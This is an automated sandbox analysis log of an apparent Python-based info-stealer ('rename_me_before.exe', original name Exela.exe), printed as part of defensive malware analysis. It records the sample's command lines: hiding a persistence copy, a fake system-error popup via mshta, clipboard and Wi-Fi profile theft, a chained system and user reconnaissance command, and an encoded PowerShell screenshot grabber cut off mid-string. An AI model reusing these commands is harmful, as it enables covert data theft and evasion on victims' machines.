Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404FCD6C	0_2_00007FF6404FCD6C
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404E95FB	0_2_00007FF6404E95FB
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404F0E70	0_2_00007FF6404F0E70
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404F1F30	0_2_00007FF6404F1F30
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404FFBD8	0_2_00007FF6404FFBD8
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF640505728	0_2_00007FF640505728
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF640502F20	0_2_00007FF640502F20
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404E979B	0_2_00007FF6404E979B
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404E9FCD	0_2_00007FF6404E9FCD
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404FD880	0_2_00007FF6404FD880
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404F5040	0_2_00007FF6404F5040
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404F1074	0_2_00007FF6404F1074
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404F28C0	0_2_00007FF6404F28C0
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF640505C74	1_2_00007FF640505C74
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404E95FB	1_2_00007FF6404E95FB
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404E1000	1_2_00007FF6404E1000
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF64050518C	1_2_00007FF64050518C
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404F91B0	1_2_00007FF6404F91B0
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404FD200	1_2_00007FF6404FD200
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404F1280	1_2_00007FF6404F1280
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404F7AAC	1_2_00007FF6404F7AAC
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF640508A38	1_2_00007FF640508A38
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404F0A60	1_2_00007FF6404F0A60
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404E8B20	1_2_00007FF6404E8B20
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF640500B84	1_2_00007FF640500B84
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6405033BC	1_2_00007FF6405033BC
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404F73F4	1_2_00007FF6404F73F4
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404FFBD8	1_2_00007FF6404FFBD8
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404F1484	1_2_00007FF6404F1484
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404F0C64	1_2_00007FF6404F0C64
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404F2CC4	1_2_00007FF6404F2CC4
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404FCD6C	1_2_00007FF6404FCD6C
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404F0E70	1_2_00007FF6404F0E70
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF640504F10	1_2_00007FF640504F10
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404F1F30	1_2_00007FF6404F1F30
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404FFBD8	1_2_00007FF6404FFBD8
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF640505728	1_2_00007FF640505728
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF640502F20	1_2_00007FF640502F20
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404E979B	1_2_00007FF6404E979B
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404E9FCD	1_2_00007FF6404E9FCD
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404FD880	1_2_00007FF6404FD880
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404F5040	1_2_00007FF6404F5040
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404F1074	1_2_00007FF6404F1074
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404F28C0	1_2_00007FF6404F28C0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 69_2_00007FFD99E21699	69_2_00007FFD99E21699

Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: String function: 00007FF6404E2760 appears 36 times
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: String function: 00007FF6404E25F0 appears 100 times

Source: _overlapped.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: python3.dll.0.dr

Static PE information: No import functions for PE file found

Source: rename_me_before.exe	Binary or memory string: OriginalFilename vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1660090231.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000000.1659094858.00007FF640526000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameExela.exej% vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1659883292.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1660201204.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_multiprocessing.pyd. vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1659578842.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1659342426.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1660419536.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1664519798.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepython3.dll. vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1660337628.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1665033883.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1665318433.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1660005362.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1659482389.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_asyncio.pyd. vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1665125906.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1663988255.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1659790847.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1661117895.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_uuid.pyd. vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1660274517.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_overlapped.pyd. vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1664424670.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepyexpat.pyd. vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1660916713.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs rename_me_before.exe
Source: rename_me_before.exe, 00000000.00000003.1661025344.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs rename_me_before.exe
Source: rename_me_before.exe	Binary or memory string: OriginalFilename vs rename_me_before.exe
Source: rename_me_before.exe, 00000001.00000002.1981233285.000001B17FDC0000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilenamepython3.dll. vs rename_me_before.exe
Source: rename_me_before.exe, 00000001.00000000.1666086180.00007FF640526000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameExela.exej% vs rename_me_before.exe
Source: rename_me_before.exe	Binary or memory string: OriginalFilenameExela.exej% vs rename_me_before.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615

Source: libcrypto-3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9989650991958289
Source: libssl-3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9923451741536459
Source: python311.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9992887181541107
Source: sqlite3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9971625026106934
Source: unicodedata.pyd.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9942873714221825

Source: system_info.txt.1.dr

Binary string: Boot Device: \Device\HarddiskVolume1

Source: classification engine

Classification label: mal100.rans.spre.phis.troj.spyw.expl.evad.winEXE@130/182@4/6

Source: C:\Users\user\Desktop\rename_me_before.exe

Code function: 0_2_00007FF6404E29E0 GetLastError,FormatMessageW,MessageBoxW,

0_2_00007FF6404E29E0

Source: C:\Users\user\Desktop\rename_me_before.exe

File created: C:\Users\user\AppData\Local\ExelaUpdateService\

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7264:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7272:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2084:120:WilError_03
Source: C:\Users\user\Desktop\rename_me_before.exe	Mutant created: \Sessions\1\BaseNamedObjects\E
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6316:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7036:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5228:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4564:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5216:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2004:120:WilError_03

Source: C:\Users\user\Desktop\rename_me_before.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI13962

Jump to behavior

Source: rename_me_before.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\rename_me_before.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\cmd.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: rename_me_before.exe	Virustotal: Detection: 67%
Source: rename_me_before.exe	ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\rename_me_before.exe

File read: C:\Users\user\Desktop\rename_me_before.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\rename_me_before.exe "C:\Users\user\Desktop\rename_me_before.exe"
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Users\user\Desktop\rename_me_before.exe "C:\Users\user\Desktop\rename_me_before.exe"
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\systeminfo.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\HOSTNAME.EXE hostname
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\query.exe query user
Source: C:\Windows\System32\query.exe	Process created: C:\Windows\System32\quser.exe "C:\Windows\system32\quser.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup administrators
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user guest
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user guest
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic startup get caption,command
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /svc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query type= service state= all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show config
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAA